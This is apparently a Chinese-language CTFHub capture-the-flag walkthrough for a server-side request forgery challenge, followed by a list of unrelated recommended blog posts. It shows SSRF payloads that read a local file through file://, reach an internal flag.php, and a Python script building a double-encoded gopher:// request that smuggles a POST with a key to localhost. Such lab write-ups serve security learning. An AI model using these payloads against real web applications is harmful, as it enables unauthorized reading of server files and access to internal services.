CTFHUB-SSRF-POST请求

通过file协议访问flag.php文件内容

复制代码
?url=file:///var/www/html/flag.php

右键查看页面源代码

需要从内部携带key发送post数据包即可获得flag

复制代码
?url=http://127.0.0.1/flag.php

得到了key

构造POST请求数据包,进行url编码(新建一个txt文件,输入以下内容保存,修改为python文件,重命名为gopher.py

python 复制代码
# -*- coding: utf-8 -*
import urllib.parse
payload =\
"""
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=d554812847363980d21b2b1b87733501
"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)

在命令行窗口执行

复制代码
python gopher.py

通过Gopher协议发送请求,得到了flag

复制代码
?url=gopher%3A//127.0.0.1%3A80/_%250D%250APOST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Dd554812847363980d21b2b1b87733501%250D%250A
相关推荐
JMchen12321 小时前
自定义View性能优化:从60fps到120fps的进阶之路
android·经验分享·性能优化·kotlin·自定义view
挨踢学霸1 天前
技术全面重构|MsgHelper 新版深度拆解:交互、视觉与逻辑的底层优化(二)
经验分享·笔记·微信·架构·自动化
斌蔚司李1 天前
2026年3月趣站分享:线条素描/毛绒音乐/视频压缩/即时数字标牌 怀旧游戏模拟器
经验分享
文刀竹肃1 天前
SQLi-Labs Less-3 通关教程(单引号+括号字符型GET注入)
安全·web安全·网络安全
tinygone1 天前
OpenClaw安装openclaw-dashboard监控面板
人工智能·经验分享
宝宝单机sop1 天前
述职报告ppt资源合集
经验分享
智者知已应修善业1 天前
【51单片机8位密码锁】2023-2-22
c语言·经验分享·笔记·单片机·嵌入式硬件·算法·51单片机
Jave21081 天前
Vue下一个大版本会是怎样?它的最终目标是怎样的?
前端·vue.js·经验分享
我是胡杨学长1 天前
软考高项论文、案例、选择题三大块备考经验分享
经验分享·职场·软考·信息系统项目管理师·项目经理
安全渗透Hacker1 天前
权威指南双解析|微软STRIDE文档+OWASP威胁建模指南
网络安全·安全威胁分析·安全架构